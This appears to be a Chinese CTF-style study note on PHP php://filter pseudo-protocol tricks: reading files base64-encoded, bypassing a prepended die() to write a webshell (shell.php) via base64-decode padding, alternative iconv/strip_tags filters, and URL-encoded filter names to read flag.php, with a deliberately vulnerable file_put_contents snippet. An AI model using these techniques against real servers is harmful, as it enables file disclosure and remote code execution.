php伪协议


有关php伪协议的一些特性

php://filter

read和write

读文件时触发read

1
php://filter/read=convert.base64-encode/resource=xxx

写文件时触发write

1
php://filter/write=convert.base64-decode/resource=xxx

向xxx写入base64解码的内容

同时,下面的写法也是合法的:

1
2
pHp://filter/read=convert.base64-encode/resource=xxx
pHp://filter/read=convert.base64-encode/resource=xxx

这说明伪协议不区分大小写

如果使用的不是read或者write,则会报错:

1
php://filter/abcs=convert.base64-decode/resource=xxx

如果没有写,则会自动推导是write还是read

1
php://filter/convert.base64-encode/resource=xxx

可以使用多个过滤器:

1
php://filter/read=A|B/resource=
1
php://filter/read=A/write=B/resource=

绕过死亡exit

谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)

1
2
php://filter/read=convert.base64-decode/resource=xxx
php://filter/write=convert.base64-decode/resource=xxx

这两种协议都会先对内容进行处理,再进行base64的解码

其实就是在解码的过程中,字符<、?、;、>、空格、单双引号等会被忽略

假如我有一个file_put_contents

1
2
3
4
5
$filename = $_GET['filename'];
$text = $_GET['text'];
$d='<?php die("nononon");?>';
$a= $d. $text;
file_put_contents($filename,$a);

此时它会把我们的恶意代码提前写入<?php die("nononon");?>,导致我们的恶意代码被提前结束

此时我们可以利用php伪协议的特性:

1
php://filter/write=convert.base64-decode/resource=shell.php

此时会向shell.php写入伪协议处理后的decode的内容

经过处理后就会变成phpdienononon加上我们的内容

此时由于base64解码是4字节一组的解码方式,我们需要在前面加上任意字符使得xxxphpdienononon刚好是四的倍数个长度

此时前面就会被解码成乱码,后面会被正常解码成我们的shell

其他的过滤器:

  • convert.quoted-printable-encode 打印不可见字符
  • convert.iconv.utf-8.utf-16be uft8 -> utf16
  • convert.iconv.utf8.utf-7(可去除等号) utf8 -> utf7
  • convert.iconv.ASCII.UCS-2BEascii -> UCS-2BE
  • string.strip_tags 去除html和php的标签

url编码

php会对过滤器decode多一次,所以可以用url编码绕过(?)

1
php://filter/read=conv%65rt.b%61se64-encode/resource=flag.php